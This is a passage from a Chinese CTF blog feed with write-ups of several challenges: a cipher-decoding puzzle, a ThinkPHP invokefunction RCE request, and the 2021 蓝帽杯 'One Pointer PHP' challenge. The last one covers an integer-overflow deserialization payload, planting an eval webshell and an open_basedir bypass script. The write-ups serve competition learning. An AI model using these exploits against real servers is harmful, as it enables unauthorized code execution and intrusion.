  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h4 id="偷走的flag">偷走的flag<a class="anchor" href="#偷走的flag">#</a></h4>
<p>解压得到<code>这是一个地址.txt</code>和<code>纸条.rar</code></p>
<blockquote>
<p>小明去食堂吃饭，为了能在吃饭的时候有座位，他把自己的耳机和手机充电器放在桌子上。买饭回来后发现自己的东西不见了。以为被收走了。就去失物招领处询问。询问无果后，在QQ空间发现自己被挂了，说自己给学校丢人，用充电器占座，并把充电器放到了指定位置。小明找到以后发现了一串密文，只有解开密文，才能找到充电器的位置。你能帮助小明发现充电器被藏到哪里了吗。</p>
</blockquote>
<p>密文如下：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">%E2%A1%96%E2%A1%9C%E2%A1%91%E2%A1%97%E2%A1%8B%E2%A1%B1%E2%A1%83%E2%A0%81%E2%A1%94%E2%A1%95%E2%A1%AF%E2%A1%B6%E2%A1%82%E2%A1%9F%E2%A1%9D%E2%A1%AF%E2%A1%99%E2%A1%9D%E2%A1%80%E2%A1%9C%E2%A1%95%E2%A1%9D%3D</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>很明显的url编码，解密后得到<code>⡖⡜⡑⡗⡋⡱⡃⠁⡔⡕⡯⡶⡂⡟⡝⡯⡙⡝⡀⡜⡕⡝=</code>
盲文编码，<a
  href="https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=mangwen" rel="nofollow noopener noreferrer" target="_blank"
  >在线解密<span style="user-select:none"> ↗</span></a
>
得到<code>flag{As1de_From_implem</code></p>
<p>用这个作为压缩包密码解压</p>
<blockquote>
<p>恭喜你帮助小明找到充电器。但是他的耳机也不见了。通过查询监控发现耳机与充电器一起被拿走了。当他发现耳机时，只剩下一个进水的耳机、一摊水渍和一个被揉搓了好几遍的纸条，上面字迹已经被污染了，但隐约写着：********-I_forg1ve_y0u}。你能帮助小明发现被隐藏的字样吗。</p>
</blockquote>
<p>vim中看到<code>U+202C</code>等字符，为0宽加密
解密得到<code>3ntat1on</code></p>
<p>最后拼接在一起，注意别把0宽字符复制进去
<code>flag{As1de_From_implem3ntat1on-I_forg1ve_y0u}</code></p>
<h4 id="问卷">问卷<a class="anchor" href="#问卷">#</a></h4>
<p>一个调查问卷，做完即得flag</p>
<h3 id="综合渗透">综合渗透<a class="anchor" href="#综合渗透">#</a></h3>
<h4 id="综合渗透-flag1">综合渗透-FLAG1<a class="anchor" href="#综合渗透-flag1">#</a></h4>
<p>Thinkphp框架，还知道版本，直接RCE</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-http" data-lang="http"><span class="line"><span class="ln">1</span><span class="cl"><span class="err">http://82.156.76.152:8077/index.php?s=index/think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=cat /flag</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">http</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
]]></content:encoded><h:img src="https://h4cker.zip/aeeb78/first_zhuiribei.webp"/><enclosure url="https://h4cker.zip/aeeb78/first_zhuiribei.webp"/><category>线上赛</category></item><item><title>蓝帽杯2021 One Pointer PHP</title><link>https://h4cker.zip/7662b2/</link><pubDate>Tue, 23 Nov 2021 03:04:06 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/7662b2/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>第一次打FPM/FastCGI的题，实际上也是第一次接触打中间件的题，刚开始是在陇原战“疫”碰到了一道类似的题，也是改编的这道，为了更好地复现这道题，理解这道题，我去把Fastcgi 协议分析与 PHP-FPM 攻击方法都看了几遍。攻击的实操部分，本来想着复现，但那个鬼环境一直差点意思。这里不得不提中国网安界大神——phith0n，P神开创的vulhub确实帮了国内外网络安全学习者的大忙，让安全研究者更加专注于漏洞原理本身，而不是忙于搭建复杂的漏洞环境。但不幸的事，这个洞的环境坏了，问了P神说官网要下架，让我去GitHub找找，可惜GitHub也没有。。。<img
  src="/7662b2/one_pointer_php_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1908" height="1047"
/>
</p>
<p>所以PHP-FPM攻击实操等我搭好环境再来搞，Fastcgi协议有时间再来分析。</p>
<p>开启靶机，这个赛被人戏称广告杯，玩笑归玩笑，这题质量很高的，打开如下图<img
  src="/7662b2/one_pointer_php_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1080" height="608"
/>
</p>
<p>但好像比赛时图片是火炬</p>
<p><img
  src="/7662b2/one_pointer_php_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="700" height="327"
/>
</p>
<p>不管了，博客不能水</p>
<p>题目给了一个web.zip，解压后有两个文件，分别是user.php、add_api.php。为了方便日后我自己或者他人阅读，把代码贴出来：</p>
<p>user.php：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln">1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="k">class</span> <span class="nc">User</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">	<span class="k">public</span> <span class="nv">$count</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>add_api.php:</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="k">include</span> <span class="s2">&#34;user.php&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="k">if</span><span class="p">(</span><span class="nv">$user</span><span class="o">=</span><span class="nx">unserialize</span><span class="p">(</span><span class="nv">$_COOKIE</span><span class="p">[</span><span class="s2">&#34;data&#34;</span><span class="p">])){</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">	<span class="nv">$count</span><span class="p">[</span><span class="o">++</span><span class="nv">$user</span><span class="o">-&gt;</span><span class="na">count</span><span class="p">]</span><span class="o">=</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">	<span class="k">if</span><span class="p">(</span><span class="nv">$count</span><span class="p">[]</span><span class="o">=</span><span class="mi">1</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">		<span class="nv">$user</span><span class="o">-&gt;</span><span class="na">count</span><span class="o">+=</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">		<span class="nx">setcookie</span><span class="p">(</span><span class="s2">&#34;data&#34;</span><span class="p">,</span><span class="nx">serialize</span><span class="p">(</span><span class="nv">$user</span><span class="p">));</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">	<span class="p">}</span><span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">		<span class="k">eval</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">&#34;backdoor&#34;</span><span class="p">]);</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="p">}</span><span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">	<span class="nv">$user</span><span class="o">=</span><span class="k">new</span> <span class="nx">User</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">	<span class="nv">$user</span><span class="o">-&gt;</span><span class="na">count</span><span class="o">=</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">	<span class="nx">setcookie</span><span class="p">(</span><span class="s2">&#34;data&#34;</span><span class="p">,</span><span class="nx">serialize</span><span class="p">(</span><span class="nv">$user</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<h4 id="1整数溢出">1、整数溢出<a class="anchor" href="#1整数溢出">#</a></h4>
<p>代码很明显，add_api.php包含user.php，并且将Cookie里的data反序列化为$user对象，将$user里的count值+1作为$count的下标，并给此元素赋值为1。随后，进行if语句判断，$count[]=1的意思就是给此数组末尾添加一个元素，值为1。那这里第一个考点就已经出来了，倘若我将count设为<code>最大值-1</code>的数字，那么在经历过自增后，该count为最大值，再进行$count[]=1操作，由于数组已经达到最大值了，数组末尾无法添加元素，所以此操作出错，执行else语句。我们便可以RCE。不同的操作系统PHP最大值是不一样的，32位上为<code>2147483647</code>，64位上为<code>9223372036854775807</code>，所以这里我们应该设置count为<code>9223372036854775806</code>，写个序列化脚本生成序列化字符串</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln">1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">    <span class="k">class</span> <span class="nc">User</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">        <span class="k">public</span> <span class="nv">$count</span><span class="o">=</span><span class="mi">9223372036854775806</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl">    <span class="k">echo</span> <span class="nx">serialize</span><span class="p">(</span><span class="k">new</span> <span class="nx">User</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>payload：<code>O:4:&quot;User&quot;:1:{s:5:&quot;count&quot;;i:9223372036854775806;}</code></p>
<h4 id="2拿webshell">2、拿webshell<a class="anchor" href="#2拿webshell">#</a></h4>
<p>注意else里的eval函数，不要直接传个<code>$_POST[cmd];</code>，eval是执行里面的语句，这个语句才是我们拿shell的点，所以应该传入<code>eval($_POST[cmd]);</code>,注意Cookie要url编码。还有接收参数是在add_api.php这个文件里的，所以你要传给这个文件。<img
  src="/7662b2/one_pointer_php_4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="964" height="671"
/>
</p>
<h4 id="3绕过base_dir">3、绕过base_dir<a class="anchor" href="#3绕过base_dir">#</a></h4>
<p>进入shell后，看到根目录底下是有flag的，可是没有读取权限，这个时候我们访问phpinfo查看相关配置信息，hackbar传就可以看了<img
  src="/7662b2/one_pointer_php_5.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1890" height="881"
/>
</p>
<p>可一看到配置里是存在FPM/FastCGI的，而且disable_function禁的太多了，openbase_dir也只开放了html，这里我们需要先绕过openbase_dir读取到其他重要文件</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln">1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="nx">mkdir</span><span class="p">(</span><span class="s1">&#39;bypass&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="nx">chdir</span><span class="p">(</span><span class="s1">&#39;bypass&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="nx">ini_set</span><span class="p">(</span><span class="s1">&#39;open_basedir&#39;</span><span class="p">,</span><span class="s1">&#39;..&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="nx">chdir</span><span class="p">(</span><span class="s1">&#39;..&#39;</span><span class="p">);</span><span class="nx">chdir</span><span class="p">(</span><span class="s1">&#39;..&#39;</span><span class="p">);</span><span class="nx">chdir</span><span class="p">(</span><span class="s1">&#39;..&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="nx">chdir</span><span class="p">(</span><span class="s1">&#39;..&#39;</span><span class="p">);</span><span class="nx">chdir</span><span class="p">(</span><span class="s1">&#39;..&#39;</span><span class="p">);</span><span class="nx">chdir</span><span class="p">(</span><span class="s1">&#39;..&#39;</span><span class="p">);</span><span class="nx">chdir</span><span class="p">(</span><span class="s1">&#39;..&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="nx">ini_set</span><span class="p">(</span><span class="s1">&#39;open_basedir&#39;</span><span class="p">,</span><span class="s1">&#39;/&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">8</span><span class="cl"><span class="nx">var_dump</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="s2">&#34;/usr/local/etc/php/php.ini&#34;</span><span class="p">));</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
